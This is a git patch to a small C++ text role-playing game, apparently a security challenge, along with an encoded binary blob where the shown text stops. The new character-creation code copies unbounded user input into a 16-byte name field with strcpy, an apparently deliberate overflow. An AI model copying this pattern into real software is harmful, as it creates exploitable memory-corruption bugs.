From c92069ac01f28a88fc1ef3e22043ccf1f53785a0 Mon Sep 17 00:00:00 2001 From: myitinos Date: Wed, 11 Sep 2019 22:07:49 +0800 Subject: [PATCH] final version --- lib/BattleInterface.cpp | 3 ++- lib/Character.cpp | 53 ++++++++++++++++++++++++++++++++++++---- lib/Character.hpp | 17 +++++++------ lib/UserInterface.cpp | 15 +++++++----- main | Bin 86328 -> 91224 bytes main.cpp | 21 ++++++++++------ main.py | 18 ++++++++++++++ 7 files changed, 100 insertions(+), 27 deletions(-) create mode 100644 main.py diff --git a/lib/BattleInterface.cpp b/lib/BattleInterface.cpp index 591aa82..5ac8f5f 100644 --- a/lib/BattleInterface.cpp +++ b/lib/BattleInterface.cpp @@ -61,6 +61,7 @@ void BattleInterface::start() { std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; } + std::cout << std::flush; choiceInt = UserInterface::getNumber( "What are you gonna cast this turn?\n>", 0, @@ -82,7 +83,7 @@ void BattleInterface::start() UserInterface::print(buff); } - choiceInt = (random() % player2->getLevel()); + choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); if (player2->canCastSpell(&Spell::Book.at(choiceInt))) { player2->castSpell(&Spell::Book.at(choiceInt), player1); diff --git a/lib/Character.cpp b/lib/Character.cpp index 9cd3484..09438ee 100644 --- a/lib/Character.cpp +++ b/lib/Character.cpp @@ -1,8 +1,36 @@ #include "Character.hpp" #include +const int Character::maxLevel = 0xffff; +const int Character::maxExperience = 0x0fffffff; +Character::Character() +{ + this->level = 1; + this->experience = 0; + this->maxHP = 10; + this->curHP = maxHP; + this->maxMP = 5; + this->curMP = maxMP; + this->atk = 1; + this->def = 1; + memset(this->name, 0, 16); +} + +Character::Character(char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(const char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} Character::Character(char *n, int l, int e, int h, int m, int a, int d) { + strcpy(this->name, n); + this->name[15] = 0; this->level = l; this->experience = e; this->maxHP = h; @@ -11,12 +39,12 @@ Character::Character(char *n, int l, int e, int h, int m, int a, int d) this->curMP = maxMP; this->atk = a; this->def = d; - strcpy(this->name, n); - this->name[15] = 0; } Character::Character(const char *n, int l, int e, int h, int m, int a, int d) { + strcpy(this->name, n); + this->name[15] = 0; this->level = l; this->experience = e; this->maxHP = h; @@ -25,7 +53,6 @@ Character::Character(const char *n, int l, int e, int h, int m, int a, int d) this->curMP = maxMP; this->atk = a; this->def = d; - strcpy(this->name, n); } char *Character::getName() @@ -35,11 +62,19 @@ char *Character::getName() int Character::getLevel() { + if (this->level > Character::maxLevel) + { + exit(-1); + } return this->level; } int Character::getExperience() { + if (this->experience > Character::maxExperience) + { + exit(-1); + } return this->experience; } @@ -50,6 +85,10 @@ int Character::getMaxHP() int Character::getCurHP() { + if (this->curHP > this->maxHP) + { + exit(-1); + } return this->curHP; } @@ -60,6 +99,10 @@ int Character::getMaxMP() int Character::getCurMP() { + if (this->curMP > this->maxMP) + { + exit(-1); + } return this->curMP; } @@ -132,9 +175,9 @@ bool Character::readytoLevelUp() void Character::increaseExperience(int n) { this->experience += n; - if (this->experience > maxEperience) + if (this->experience > maxExperience) { - this->experience = maxEperience; + this->experience = maxExperience; } while (this->readytoLevelUp()) { diff --git a/lib/Character.hpp b/lib/Character.hpp index 0ab2fdb..14d107c 100644 --- a/lib/Character.hpp +++ b/lib/Character.hpp @@ -8,18 +8,18 @@ class Character { protected: - static const int maxLevel = 100; - static const int maxEperience = 999999999; + static const int maxLevel; + static const int maxExperience; char name[16]; - int level; int experience; - int maxHP; - int curHP; - int maxMP; - int curMP; + int level; int atk; int def; + int curHP; + int curMP; + int maxHP; + int maxMP; void restoreHP(int); void restoreMP(int); @@ -27,6 +27,9 @@ protected: void reduceMP(int); public: + Character(); + Character(char *name); + Character(const char *name); Character(char *name, int level, int exp, int hp, int mp, int atk, int def); Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp index 7ddf831..a5aabd1 100644 --- a/lib/UserInterface.cpp +++ b/lib/UserInterface.cpp @@ -1,9 +1,9 @@ #include "UserInterface.hpp" -const int UserInterface::interval = 0; // in ms +const int UserInterface::interval = 0; // in ms const int UserInterface::miniInterval = 0; // in ms const int UserInterface::maxDay = 28; -const int UserInterface::maxMonth = 4; +const int UserInterface::maxMonth = 12; const int UserInterface::maxYear = 100; int UserInterface::day = 1; @@ -76,17 +76,20 @@ Character *UserInterface::characterCreation() { char buffer[128] = {0}; char choice = 0; + int i; + short b; while (choice != 'y' && choice != 'Y') { std::cout << "Who should we call you?\n" << ">" << std::flush; + std::cin >> buffer; + std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" << ">"; std::cin >> choice; } - return new Character( - buffer, 1, 0, 10, 10, 5, 5); + return new Character(buffer); } void UserInterface::epilogue() @@ -193,15 +196,15 @@ void UserInterface::nextDay() { if (UserInterface::day++ >= UserInterface::maxDay) { + day = 1; if (UserInterface::month++ >= UserInterface::maxMonth) { + month = 1; if (UserInterface::year++ >= UserInterface::maxYear) { UserInterface::gameOver = true; } - month = 1; } - day = 1; } } diff --git a/main b/main index 723bdf02957a8e9ca47bcd7b6a20402975c1c598..ba4398f7580e1a12e4d82bcbd7545d5e99ef649c 100755 GIT binary patch literal 91224 zcmeFa4Ompw_CJ1j8AU`u(;~B+OiK;THw;S+RBSXXQc*JvMi_)bAQ%))i$cl~r|iYD zvMzP4Yi4C#^P*|tOJZJc(YuuymA3}5qB0}1_j33MMWEBP42s0aCej%nyV;SWZDzJ3%UEcGX)YM?oW2;#AH;w}T`e28c#LgUXe2xpFS2U@ZGfLFG?UNB?#+ zKM;-sk1hpCmaepaJG1Hj*s}s{1DCRW3aWC~q8!=zpI+Pz#$>L~%r6_c0tHpSUy`3U zXZWy7^0Noz=M|Ke4Jb<-K4AE;fhC0lhlqA}g&`DES6-cNJp8W_5g&e2lyuPcc=vX< z%uP74KW#awB^yW|$@IPi3Y_@VuF$A^LqocBHHb!68vaEtnRr)jZI8Y6jyLC( zJlH-o^3kGW-Bw496#^!IK1a}X3Br4&V{rOkIs~U5gHgfs6r1Q78yQ@_n~DDK;fP@R zUpJ|D0pcQm!r?J!v8zV`AsuOzbHziHGGT@;8~#A2aFSMJDoBnDp=KCiHhq z?EC-&KA8WHoA~XpiJqk{QZ_=(R6MMci@#hi~ zzx`@bZjrcuTAJ_Ci&!56Zv$+c`qZ{D7r%$TgEo8 zf*zs|S|$mX0;lUB?C&LS{r)wO$FY1J(4hJe4$jCA> zP^uVGr!EFNM6szEQwO2o@Qle*hQiL7S5I+Xnvs!JRyKI>;32XGNahvH4W@94os1bf zctTp%{FIcb8B;FJn0(cr)^lkFd}MdpQ_`prf5MQ#gP|eIUS!Y8b1qDo_a~JMAti+c zXmx3p6D>)Q=m?<`el(dU>qWF~vE|QIMS_*dal(5ry)fQ)i#z?Qe|i z|2E1j)W{sGsSX9{)yt=tjiAi zk7C*z9c25sAu65yx2B`jzM%MTXF53q{zN=tAWlJsFIt#EvuX*Z8zepaADvOKfb*IE zVBp@F;!McNFD=Ra|0!LKpos{Rw9}C?c^>Q%oSEJa2A6VX-46pU^)sQihe}EfQ))M<5ITPtug|7V@4wU#@xno6(15fv3W2Umi)rGSaLdwiwleY{O}u+kxUssBR3B#Vw#4sau^B@L4l=GxoiJu>#*l%- zymvzeCdm64GaxZ+;E+Ma*cmgD$4tl=JaFj15gMY4>Gy#O24fo%iqpn$oJNP?pZp(D zEI4-z6+GgE;m#s3qR}16&_9xtCEE)+@gf9`WTdo|Z)bE65>%!g{zrA;6jRVhhdKe3 zWkPWFNqR$s6k+4A2UGjYv7(sOZiliDw4TOQuSCZU8-rH?Bni^stAdd|3e9 z;Cdr?|EcO#c+GdR9F7T$tL3fuTdUDKYxKPu{Va`MuhEBS^aC3G3XR^N(Z^|Yk48_? z=*=4aN{!y4(XZ0zvD{wj^N|`|?ZYV&uhr;kKTq^)H2S)4B!Xij5kHExQKKUeyjP7z zrwCV9twzTYg7@01(W!2A)oXO>8+9Gf=wy?+8Z^4gub}^>fWZ8vP6<44A0V>6whW zk~DfZMFg~I^fNVjnnsV)=rc6>*&01lqj%Tnxf=Z(jb5bD)iXw7mud8KHTiOlex62O zrqStaP+coEx>XSYS8Me1HF~v1*U!DyY4i&;`HdRAw??ng=zTPLtwz64qwm$|7isi* zjow$IAJFLiGZqM2&v>_Ou61d*HMOPJ7_A2Tpt7v9QCwxMGqkndRTzzgNoQ`=L z>jgfCa5|E0tQGi7!s#fsaihQ|6HZ64jnx95NH`t6Hm(%-7{ckuwXs~_ml00KK8-~J zA3``Cu{LH3yg%V|wAz>^@Lq(|k!oX-z`GMpN2!g21m1;kIznx<3Otf#u|eQR2&W_Z#(IH&K{y?iHr5LKW5Vf(v~i=r-yxii zMjNXIzK?J^5^Y>5@STLyQD|eiz_$`kNBxaO0)L5cIudQn6!?0==_s@@P2f)wPDh}P zNdkX_a60;I93=4j2=76-Rp84BKbP=Wf!{$m9dR}q0$)Tp9c?x?|3>XECfrJRgTQYj zoQ^UZ>jgfCa5}iq=z%L=Z`K0K7!s$q{u|eQR2&bdO#(IH&K{!2vX{;6a$Ar_7V&g`E zze6}3B{o(Id>`R-gxI)J;5!MYqr=8>fo~<8jtm=%1pX4?bX3@wDe(1#(-C1~n!ukV zoQ?(?lLY<<;g=IWNZ|JoK9X>&z?Ty~itt#0-$6JX2{sx6Uqm=PI%;hGRrEjMNrX2D z{6@m*NU*V9;B$cItOPEu!QV`9y?ukt^@XkCaC6$!RJY|w7E+D7Q-uJd9!KVA?KTZ% zj>YsGN1Rdj0H5Yw}q6z^gPdApELm`R}D@3tMkhuK`s zwjG`;Y$1DWZ~yM>3I!Hc5YgI@BkED*%SYXe@otn}l5VRQ_4HQU+Fbv3M%k)H9RcDQ zfEIgl@n?@^0^~wwt8xl9-U4Pi%1p7{ezY&rp3SxW0OBUwRu$fdqSWR}@eHoDRaFwz z=Bo2-CFrhf0N6@t%;rvT-AHnEoOX*(+NEJMHBZr@FJ14^p@VT18A8$WhIsTk_x#iDQ6NoCY@SV*+4A<`d1`mNN%M2H;Lv>-zZCp_Kg>X zCHrGoh}j6vPlH{MUkLEp3>f3dAnTGaHa*{AKzf$q&gQDz3w^KAfbnmL&OTVO-rhJ}UL-DhP zroOGD0;QL5=^S6_T3Onum!@*bHEC3uCcdpS+oJS1F5TBxdao=!TrW-Kl548*cS|h( zY$ZRSbTpSff?Un*uBR@Y;M$$Mon%s7pQpN-Qe6$Ht|Q*Af0KHA5~gQcmFOr!_rSiT zwazm<*C6dxG>726eGPfH$x?&A;KeK**3K~MDtDu2=-N}ci|#xRAkRW|Chkd5PwFoB zDuGgPxf4p~LI9i;Y7j_Up~iTXloIuRq+yp(N<5;>YauzW!h&B~TPwCxt?gp&`WqTm z#nN3Xg$}pn0ETK+c&Kf)&E0K3?rkCUtqn**=b&QGlKy1gsJ?W6v%DWk_YS)EwZA`R ztHue?4%u3)R2><92wbR|l7s6;zyI)#YMwFlI@HiJ3@cEoHJfirTUGe+HB7gMilZUqild4Q}y4i~^Jy2M>cD^HtCjD4pCCkC);;7@o7C<`q)&0Muv!S9qbR)*mQzWtUA6 zT6Y}j8B+gtOMv<_pdJdzYp)LC(fZ;~t*wo{kT+3lDb;$Of32^eOk=3zuOj~MFaxsh zW#j$_aW8sb#ze^`(txm2f#4q#a}X2gHkt}-RjS)$u#0Z1xmp+~C{?RyMS#9G1W?^p zL|E0TGRgDnwv=*62lUy66bQaPvk z$y21{5INaBY75=JBkzBr`#tjheDdK|aZkB)(n_Sb3qa$*y7>GGx#V0R_q1j!bifs8U7 zlYLVUFfSrzoPXJ~!CdKi2up#+heb~Et~suf2Ct-~RQW?|tC(ACRg(^Qmq#&6&qcR4 zo`FA@#W?Uj^CY50sje>@>(K!^-O6-Qq|+mqUL8PhMx~@@SpfZjq&Jo5N_H_3Yh~nF z>DsrxSBo`Y;{7M&;3=Qb`XEA2lTcSps8SPBIsIZZTP_8836}{WUI)I6CV9%C#pZT+ zu1}toJXMo{3607s9AQ`!~{hXRZrTtdO7SF@f?26rqyw;^A!iE-zwvdLU zFcL^w(p_cDmRhOVaj4P*X%AKTzDOaM z(j~f<6zymTvxOXhopEfZ=B#F$>usBBAGR8`!Mx@sa-HX1*2<_zSFRnX1djTc2l-Xf zX80(bb`f3WF2dp|B{yn5^0pz(+vt8fvCy#XXbIz1d41(7ZH7AhBY%pH`-n!SKPe6? zTp1bOa_qWU;F$S8)Qne!`I$SzYnQj9q{(tR?hXyovO3SLaFDkqZlO2qts*9@ z9Vf6o{6NwoZLS}<(DyPjAc*E;H6+Tzmh=YOjxP|JvM!g12M965I;rtJVY6(`YqXK2 z<~&HtlEG37lu?Vw2f{w;aoJgLf$+)^c%^ZL)B`CR!%|-%>2vKw!bA`Y(VM8SFpkuc zpi*m59JuvTE>{Il_p67-W~H%JaA;VlRzOE-4fVx5-LABVm5^z{Ad&lgr^S=@O>1jF z42#&8d1N>3aYv*y$J|d%zlaKx(&vbb7F59mv3R}j2E!0jm1iUL`NgBshMuGV6n?Mw zMp>+$wSEvo3{}*@Yr-SAO~NYPdml^pP#-L>)uXhx=8B_Mzu2!>(rh@-682LpR84~6 zqTim9rTi4O9sJK}QW#`j^QjU5Xc5a3RX-JO{-o0YZdYk3r3`c(oiM zo~BDl=>A6ZtI~rRhkdjj3rtTPOvD`J>3Ni(&^eB7Wr9^Rjn^SigNl+OY!@S1kzip< zi>+cwi{Tt1Sg37+Fo~iFl42r)k3^@8B90)F+Yq&~$En?YmB*2mXrO>!=edzuLEA~` zb(*+rYLC9F5KBl@>YewF!JNQgD7rp@%lh_Wq1v#|Is3Fo&tMiw@dklf_`*t`W}r2_>;) zR6TV7sMb?&08Pa?D|Jzw=R;yv?6zX<#_jc)ECzx%fl$z(F|n#?6-TKvy_N4tX$^t( zh!65R1%>eUI_USAkFt8yYEGrBR_A&8YwyC(JG~3{Nq^I^E1Dt{FY!}MwrTeJu>Z`; zVxO|WFjA>YG+xyFZ)9Q>CvBw3MRlG#$WF@PG#ex1KmKnqxR8pmIs^aPue7lBbED|A zi{U=M@!M1Q-redqRZM7nxP7g6BMK;P9MG&j1^ zH@GIP8|O+{s}D)Bh)#h(oo9&DUsIPP-oHjwxE+L$hauu{ww437@vtzY24}X4^dQ=a zITvW1r@!<;O%*D{DG1b5rLS|P^_F*QU1@!3bkk~*C(85H0$rHVMA~HzOoBz8j-86ESbB=6Hiws_Mu)PjbyK8$YBEa>s4S#i? z;gGvRutH)g&uecOw{Is2+P}n9MgzCGE7L(BU)(MHvPz)XvJust5H%e#V7^F>a=$F8 zmDN~hB#TqeE#dIFJY9y=P|A?*%4w`|q|_)-cV)TMxM!Nwm?1PWbror}xfdlS*I>Rf zwzTtU-Q)RG@G7UX)~`gtRRVQaR!gmmSZfEVRZ^AKqU0L5$k;+F2)1>P=Ps#r25Vg@ zwF=Z-Su3>;WUYTEzbh(h-AY*`xrW-mB~n*BP%6HT6<;b93ls-}Qt{{XgaHnlDHThq zQrsXETSzfI>h)Uuz9?HclNBElWmgFlM=_$-gojvhh*T`8N-_Q3NOBGNc1yIbc(GJ` zJu9x1iUsPfv`WPjS@F6rg)1agDW)G(Nv=US@u|BQh^{@J3#8&%tTbEUjbc^?i!}H47toU6~c9lR8x>E7;toZmB!eU8Pife`94y3rN zuJ~rD_y$(INGcX6B3LTUX2p+5#geKNw+O`)5L<@misPi>YN)_8n7o}N5K~1jbdZG1LqU>K7qrAOaz-&<}*>|F;Z!}eb*pb=wUn%He#1E+E&q& zNY9FHhg8#7;0QYrbHf{iKU5Ph{oLmsaN{IbdG>6{O(Lz}p7=}%s}B8D3R{_bP;ylq zeJZ&Ib6=HQ6~3=Yt_Xc-u9jRiYMzi>F%H4KLvqz%t&rSmc3!sRss!PX+;ZlQmt2*U zu9VzN=Ju6bl?3|{E2cTlD}yYjUc$25NGu%ld0_ zs^8jaa;oz}HMs`%8%eDDaDL!-I44%Z+P)Gi zU~F`7jza4toV2(m`R$VAk__u>?|!pEw5tCg!8};yhl6uA4OZt6)=L>!h(qppE zQJHs>GzqmR&AJA&bG@2>%==_B{ofYz0y;+SX{sWmp<+3mqS>7VFDmWc-q+6S0#@#7 zb1b&2BZYIwGqlxCSIf#pf-E=S;&cp5R8M>v9vmg^uGme{E=n9w0@iu@iQb|w@mQKZ64Qop+$?f}btCjdB5J3vE5vMArSG)Ng)L zR*}m{SMUP}GFa)PJ{PrOM}0BEPwXRi+WZ3F>s_BC_(VhBVLzug$1l`P_WFB$1p*^a zs|Yq-p3>|*2f+(V>pc5Ks;cvxLqS}T(vsNpNkCh?`693z#93&ar|3h!ToK?cS&KLX z(RSofA5gxdJmNR(V9#V|ll`ORWeR)lDon*$>Ntgplf0E?Fx z0bqk9Hi)f}+hzH*3Jrnx#Q9#G#{oZ0aJ_D;nho-y*An3*Pd`lTSf{7DzD;#~?YR~b zO=pvg>k#4Rf}83R3D8Ckq6b^@Iit!jGPYo8T~b%XkeGGqlEkq!Syh+RS8M=q>um!a zKY$TW8$Y`BHb=C$E{S$;tfz;%-AWq0ud2kq=NEJS@r|C#q=0~C&C6R*gh+dmV!WeO zb*LP%E!5{1wk>&E(30LbccmY7P4eIf=kPd@nEYxTtCbZ^g>V{Pbws1nJ#u!z-C-QR z2%73;;US!$yJScEJE$r>)|D0~b;P;SdZ-xG#^)(*df{E4C;q>-DR?HL<|lO>MXSqO zBVU8ZTRk7MQJ|}{Gu1mnIu_EcF-m%aS2|Wnb4^uAZBCb{yc}9!j@YSm_mI3eDISZ+)C_=}9 z?-EO=s-)O{_3~DQQc_oU8ZBLrH)ND0^>wF3N`efrqs_VC zr~sT;m2ylxLgXan@7HK4#EHu4oi}t1y)_Neoifcyud)VCZoPwPNU~m>a!j>3XdOwt zH3>f*!oDPHWo^t~YW;IGqK^HBJG_R6<*Bc)BJ{n?9)zLS`y+P7JYMU+n(+E6R%W@wr4j}w}Oi4{&a39c27zZQ7N(?1DRWrzU4J7y^9>I** z74ulFNX_24#+#kwnnj-P&xfqEUCw(uvC4-Y%))gZo8oySZ>hcmP!a5(p424N#>aI@ zRwQc!-RFHMBiawo-^Pu%QeOA=ugqN7{rKL-7SG&i1x{}Yj&ft7I`Af}CG#z>;u$l~ z^JCuv(Tyg!6AmX6wa)WHH$Woce)+kmg?y~-#h`sJW*add-?4A z+rNZ|Jm{NLwsV@aQ>-VxJqI>dq%?;#J=&&=HlQevD|bRqD(oJWNEKZmbS4aAeO)E` z+ZECc7D7dcJi44HVku|^QAL`3Kfc=Ve?Ok~_VWE?@kC#|PmM+7kG5y`RAyjc8h9Cz z;K+qBOShw}La&Qi`aDpy?+r4*J!%zd^_0VbAic#l-At&kslCsp6+(tz)1?T%g&Ozt zK2h=^smw;ohH`23W|?Twd9sFkxP};s-oU6Kb(6tz^zIh>zcO!`@ z&(n7a9&(mzdmOCLgAeYnOZgH!V^7N0MwR6v7v48-=^As-N|357aRLo>UR2Q%=Deb! zC8TsZLj6m)_~9hdS0_5nGvN(1koK|6EZ3Rw#1wl1S#qwOt%M?+{xeMoJ;9j<*9CqkY5D^7$t zQz}k`lx9|So8nV^O!kws`hF;G%Bbo#)W`ow=a&%wimGmB`1r5t{3*omS=H^wyS#>T zSV;Xt$?&Rf2PL~!=JqhGrK>EvL96hDV04RdoJZj{8ecRZEUGMj1=DS7-FiRvGt^FZ zc;t?jP}fdxV_iG(UJF{i7bhmHf#Tb9GLAIhAfI2P?bcP8D-L&Fqa6euhfrj?)6s)& zs|ZrT{FMrFIJ(_ZrrXD(Nt@t*BKUYk*X@=et6qldKsLKms_`x?nB6w`imam|Rh1NP z;;E>6QZ*}krZeS8Dug(Wfsb%sPWNHr-uwRiu{xi{;Qm{p(&{?T2LhExe*18bG$t#n zDy5UWVe+-S+nUPc(V(d8Nyw?!IYo{4`Uu`?muNKM3DljZ(Ubw{KAN;*900b}Epgomw@?9?b)Q7X zGFlbBzhyGS4y;u(L{;f%V<+x*iStS?QQbty;TP0Wi&ZCNxOib?Zs zI?uo|>^{73z_0(g6D}v)+@s22kmn|$eJ4su)0(9D-P!z9!QLg5)=Q=0WMZZ`ClQW* zj^2xvdHOt(b|*C8^FR^5CWX)S6}}aPW!Yj`@p>-%?(6uJCgo^IV>}I#Doa*{^qzav z8@Tfv274t|mfAZ+R$7ROr_zg@5nq2|{^6PC_rVZDu4 z78gedc=*=9{gb89fhK|(cs7}Y@^YGh)nU%j>{-pW$2MyAxtB7hbp$ zr9DHa$?k+RiG;>pKq%&I;o&;ZYVqE*7?&NS;7^xH!4u>?pI{RNWdPia=0f57EccGT z+>2hh2~zF_mRs*H_nBAjd?{DSa(DR4J>`}AMcOx)7#Zj8HkxY0>-IDXsw`Gf zf1Rg!2Qe!XQIdN2dm+0@pqML(>Q4A-1ld~W=_;6&BUtuz4Rx=QvJ){t@uqFUE279- zp3kYl?#j!!$bGViK)pqhWRZKg$n&zupJ* z7mXm>hHhSmgeY>cUrfcwe7hOXz<)`jOsc(8^2{=wrg~x9@6@3I)cm zC0J=yz40~7`1D$WGWdmB(IcwW)e=>%yH}#h`FBWEbzg}@RRCm5RK-rZK)Zdggv?A> zP)=afCRpjIf)Ox5ytafmS|OaVir-?Afs?QapRZGpv3MfEa`#y(@Oprx}bCDAo>MfEfi;U(XXG)n%xk#Ocsv=sDb>&hGvgyi4 z>|Z&)c+4!XroI!Qd1N@LW|}4YuVC-ck>6 zsnN2O>hkY2)LR!#Ez&~z)d8|FLW-%l*`lG|QgqBBOO4`E@4V_4d=;{kh(&LyByXwC zTxyLhr6PEeEG1BHsZ4LFuM(t%IkJ=-a(ELcidya)a^K~S``9DUYsuK-~sz~@Ax>2VJr!OR`V)9*y zs;J&AQ8g}JmZ%z8PfJt{%7+BnEp8DtD&eEW1V$Z4gFXLxh4!|gAc!ry%31sH07br$ z^9Lzt0LuHlk)t}YH>y-`->7^PtI?E)PLcxgdj#%E+jrBdMLeiWz9Bh7p2K1= zs&Dz?e)hi1!v~;P(CZ5uK7GZLsboB%b$414k24Q?0%xmANL)a1$fquA1&yA``ake* z+TuIuq|;;dOq|}Fpc8NP9(xVSV+pLE6XW|2b@pyn((nC>;PO@Yww`uUT3vJm6(N$; z_J~$;;>(5rt6F|1%-sx->JppqRF^v!JgogMi0M~Zgxi>YlgeZIrLTWRY$bGvDGU7eh|5yGE?@Gs z;p~NTZi<|}-lxsq3bX4xH&D}EJDbjf#9l~1z1XGSjkZwbqa`047$7(gpalZ;|7Hl? z=zBZvOq4<^gLUw@x5vfwD^FAw zabN(*zErdP}YW*%EYrZQTR-Z zU;Ks&%jrEysgF7`5ix-fF0Iwg@lYzEPaNSi1eN%Hvd)8W<8B6*I1S)5Py{|s9GpX~ z0mJ{(;F%QjzT+%ZIEYTO^vYz?N9f|s7w*ihZ~Z*w%cmaQZMC`f+I~J_+i{{j-R)?( zf!z_Ml$%QFsT&`HT09^9y^Wi=ukulu*MX<9svW7$tM!CY47KT>SdshM_D`m1 z#V);KG%@&xjr^b$b1g*$o;2bgTqNgX93;RHOlN?84;hcVq#8w?YlHF{bnZso-?DRS zWEbv*UUYw*=ab*49wapJbx%DflIc{tn=($FXA4R6+a-n(1qGhUiS8GH7D-Gp+3z8a z#WNH3p#N>^gPlLT zBF2|VoQ64%A5o+I1)PYsw3eRXse2w1Bu)XtOa0~vEDFM!_O-gY9bJYqbP>tMDQIvhtTw%F>~DbR)y-slzij84~Vc=p|8y>s^07Jy=(Uq)_-bV z&@}{kW7(p7?DvB5@3esAsHO<>)~TW$UjVb^0Utl2+u;?;)1uGB51r8`!sJcg8_M)w zx|S8gO|gH81a1Vk>K-9O)3eJj5d5$5MHr47>9UI!@T=HqqH>>H*u|M->^>CE)rj}T5y!fXv`Z7*yD0PEP{=NjD?~8tm+S>(; zjzBlG{g%0}Y`%Z*Ry_Nk^ll%&IQH*3@hY(22j%TGX&TisM%DY=Xh54U$b-DT{gv)B zzc@B|efwu$0Zt{sDuPpkzP>$?h9X|ywu;xcMU1LNB_=!h{VVwl%4hcj&`UBS zz!;JJn$`(bLXt@{NQj@OuA!P}YEhNpG0j_^&3|iCC<}UM$ZL;vhc?Aiv$hCf`FQp* zsPnW4ox40~>q$2Zsq>WL){{hZeb2#tuFW(75hE9XWmL6q#t)Q1+|+r*NvihVdsk@` z5*>DB;AcaJ99eC83ysQ_oxc-!4dZ@XLdx848#v~U?| zfi~g#VOUamg#TT;JY$7Zgfnt|e((!$p6nW-NgvCg6AILM@_mMUN?dosLKc2g2vg13zM30B^s8CS zd!i@kM-IH9ASrm+n<(=ALbp9+MHW5q8#)sS9=~uR$h4)&zAa!&6SH)WINC{g9&e8# zPX1|!PdERSs)Ap*oa~Z8($iHW2s`eD(5u-nj*zaBXJuX~DR3t^7|kKHuCfd*5RGw< zT1#DbDLpA4A;=|te71`~eElsH!TYC@+s5dJsb0JtA&owhj1KV{P4#dX&3Zx@(tM6I z^V27ZgFUuTOET_JXOk%ne7+>!1{2wG>UJtgFNcZIFojCG6Ru!I4+vDgI<}YUs1O=M z#E;e^p1NjIg`|EF?mVkV+}k;#frshMS-eQ(9<>^==MiUEBX-S?1>r6tbcaQ*T}`U< z)Bt@B#n1qEWeJDFR^jSZ0wr_Z2@z~#1KX(m((B-ZC|xNw$o$@0N8uo^wkX}u84*=d zcC~EEcOo{#L7wo*br@Lm+LQPZBGtMX5!}$!s?1pb@-I;N`6w@b2S=zF4;B7G%Sq^3 zQ3?HS82m4~<8^xE!8U*W7u<_p6k~!1K_%WwrJ%*jeG_Pwe;Y4e^y-dphwvUE#i$r( zo{P1Pi>Vemt0{oLrX+!)TazIDD*jOs&vw-0Z(dU-%zFvX--sOrqjWpusG}ESr5(x2 zj%UsewBxVB?a zqAnVH;|7=)FU-StLs%c_c8K({z-Nay3NL75$GOsu zYHH8FDIv9~`;|38qww%-81QUppnrP86xFU|lx*vt&#=Y{^v@GGB=;Ysl``^#pYuo$ z`zM)flz~x2@9XisE4J}Si@bjO7terb1<-*1 z#(|uCZiSD$J4dzR7cD@D&@$ieqv(*mvv(y=pWym1dD;ZmaqM$kza`_p(9tJxieaSN z+yiC+PD$-Yzj_r2& z^Xzl;vaERpLg7MtakfxFa&zr@1u&wdaGt~JC@XRl=Q#?p98i@Cw^$2vgn8Die0xdB zJiF6Tav54WJ-5)hps+Mw*p8YUIgVm#tg{%(tPAp-xynuC#JPnqnb;*o_F}<>j%4<3 zNold;3Txkmmt5Tsp5=?|T98*Dy)@V1w9Z5GbnDpPB$p3Q$6M!=I)zJ1obaiYiUc-@ zid<8G&d4ehel0AWo9mP{WIM9*vK_)gaxl4RA^OBxTv#{{NQu*7_xa1OMOnFabYa0< z6h=pRV@$;Zx5H{DC&Qb5Lgz;sHitDIrlK;d(|(h~YPZhK&zo0NB5WbylC0uFw8u&D zNK*Fv1@?s{)&=$gC%T)xU>H+NiwjDuh429tLIa(S0;e^v#Cl^XY89TC=dc%`8}c0` zC|=0@Z*#z{5YtMbYa&JbkzZ8}Q|#IK3$3}3L{!3_1&DL>XHnq-M{!PRe!K{Nj@!9~ zPAdoYoP|QOorWF)(5p`9&nYZLKM33M3UUgq_BqOauRMjCxX6$59NBqJ1fU3ds)UP{ zIG(D1X-szi}P-B$fDD!==kD7 z^x3#PWC~e;ZF#_w8tz|&T$CU^TmIB3721N zo$km-h7)l(g}QvebbIll0m&4{*7MIl-+FPRNCG9fA`2`)3t>BT0kYg^V~XevkwNW5 zL<^|@tp#@UqP3UN3o%+;j80G^AGXm&{Y>LagsopmRBM+yO0seb3lVbDa~)!sQbH*} zRC6Lld5$*Z9j7%LsR==oZAC1K04Z@4t}M3kgP z7b3;${-E(gNz<2rkodKF&X2sh(CN6$N{uLRpiz*g8Ie)~x@Pbo>p}-|I|}6$448{v zj<*)V@Ztq|$Yt<5&lYow?b)R?hI8_YOPnIR3@&jRLkhBup~cxopKNC?{(#aa8>Bwj zpv7AaQVVz;)gZ#e8111MHt)gV-?uRK69X2V5&Q|Avf`bC-v-+vw_&B zL=0e{PAIYV$;J}ZJIjNbgMlYA1&d?B!`J_2+=QGHc6m9T{(T4C@k?7<_v3!nvewpP zfcb!H0Izkmw#MV}>A>Z!ty2LneW10qIodGF0b?<9t^!;OdUvc7_5%(FYzABe*tLUU ztNfj*0gnT&01UxV^aj970QUoq20RKl12C!+o}~fC13nCx3iv%> z5#ZT);II;KBH%{AX@K>B3jvz}{|Xoj|Go$~2=Fz)G{9!SBEa+TAY~*loIu~U4t4=P05}Zvrvaw|ZU*cTi+%tc z3HUAGEWpTT;5Wb?fNKCV0k;80;RUC|fb`B&1b*{m7GPh%TtFM(Qb78zqOS*B1{i^N zur>g82iy<14e%)7KENpaF8wjUc)-zk>o66t1TY_P3E&FAcK|m4TJX~4e!$^?M*(L6 zM&bPX4#0T8jex0up8)0qTAoLFz~O)!0LKCD2V4wz6mSJ#6n;BuBVat>Nx)P5y_Hvp~%+z%L!SF4W#)&fT1G1QxY z@qi}*Qvv(`9pwQ>0iXa~1X8r?u z06zwd!b9(=cn}v47>Wm$seoyK`GA|Z!e4;<05<_neid;Dxcs%&*6?%iK2j~>1h8NS z;so#@ApO_rj{q(MT(Aq}dt)5#Z*AQTXa_t>_5enq{?7s90gnQv0{#w|57^^hupe+B z;0C}+1flQSH_=~!9o|BJ0lo(qhXsB!U?N}?9y`wfJP)u8a4O(xKm(7=YXQdr9tN}n 